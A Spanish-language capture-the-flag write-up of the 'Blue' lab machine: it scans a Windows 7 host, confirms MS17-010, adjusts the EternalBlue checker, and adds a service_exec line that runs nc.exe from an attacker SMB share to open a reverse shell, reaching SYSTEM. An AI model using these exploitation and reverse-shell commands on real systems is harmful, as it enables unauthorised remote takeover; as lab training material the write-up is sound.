# Blue - Writeup

## RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de nmap y nos damos cuenta que es un windows 7, por lo que puede ser vulnerable a eternalblue:

```
PORT      STATE SERVICE      REASON          VERSION
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```

Vamos a hacer un script de reconocimiento de vulnerabilidades de smb con nmap:

```
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 19.00 seconds
```

Nos descargamos eternablue de github, creamos un entorno virtual para poder ejecutar python2 y lo activamos:

```
python3 -m venv python2
source python2/bin/activate
```

Intentamos lanzar el checker pero tenemos un error:

```
└─$ python2 checker.py 10.10.10.40
Target OS: Windows 7 Professional 7601 Service Pack 1
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED
```

A veces hay que cambiar el "username" a checker y poner "guest":

```
from mysmb import MYSMB
from impacket import smb, smbconnection, nt_errors
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.rpcrt import DCERPCException
from struct import pack
import sys

'''
Script for
- check target if MS17-010 is patched or not.
- find accessible named pipe
'''

USERNAME = 'guest'
PASSWORD = ''
```

Lo volvemos a lanzar y recibimos OK:

```
└─$ python2 checker.py 10.10.10.40
Target OS: Windows 7 Professional 7601 Service Pack 1
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_OBJECT_NAME_NOT_FOUND
samr: Ok (64 bit)
netlogon: Ok (Bind context 1 rejected: provider_rejection; abstract_syntax_not_supported (this usually means the interface i
sn't listening on the given endpoint))
lsarpc: Ok (64 bit)
browser: Ok (64 bit)
```

Ahora tenemos que editar el archivo "zzz_exploit.py" y añadirle la siguiente linea para que ejecute el "nc.exe" que tenemos en nuestra carpeta compartida "aitor"

```
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
service_exec(conn, r'cmd /c \\10.10.14.4\aitor\nc.exe 10.10.14.4 1234 -e cmd')
```

Compartimos la carpeta que tiene el binario nc.exe:

```
impacket-smbserver -smb2support aitor .
```

Nos ponemos a la escucha, ejecutamos el comand "zzz_exploit.py" y recibimos la conexion:

```
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.40] 49165
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```